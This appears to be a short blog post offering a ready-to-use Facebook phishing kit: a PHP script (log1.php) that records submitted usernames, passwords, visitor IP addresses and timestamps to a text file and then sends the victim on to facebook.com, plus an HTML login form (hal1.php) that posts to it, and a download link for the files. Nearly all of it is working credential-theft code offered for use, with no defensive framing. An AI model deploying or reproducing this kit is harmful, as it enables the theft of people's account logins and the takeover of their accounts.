Fishing Facebook (Date and IP )






log1.php

<?php
$file="pass1.txt";
$user=$_POST['user'];
$pass=$_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date("j F Y g:i a");
$hand=fopen($file,"a");
fwrite($hand,"+++++++++++++++++++++\n");
fwrite($hand,"$date \n");
fwrite($hand,"user = ");
fwrite($hand,"$user");
fwrite($hand,"\n");
fwrite($hand,"Password = ");
fwrite($hand,"$pass\n");
fwrite($hand,"IP Address = ");
fwrite($hand,"$ip \n");
fwrite($hand,"+++++++++++++++++++++\n");
fclose($hand);
echo "<script language=\"JavaScript\">
window.location=\"http://facebook.com\";
</script>"
?>


hal1.php
<!Doctype html>
<html>
<head>
<title>website sederhana</title>
</head>
<body>
<h1>Selamat Datang</h1>
<form action="log1.php" method="POST">
<table border="2">
<tr>
<td>Username  : </td>
<td><input type="text" name="user" placeholder="Enter your name"></td>
</tr>
<tr>
<td>Password : </td>
<td><input type="password" name="pass" placeholder="Enter your password"></td>
</tr>
<tr>
<td><input type="submit" value="save"></td>
</tr>
</table>
</form>
</body>
</html>


Download file file from sance1.blogspot.com click here

Fishing Facebook (Date and IP ) Fishing Facebook (Date and IP ) Reviewed by Leo on 16:31 Rating: 5

No comments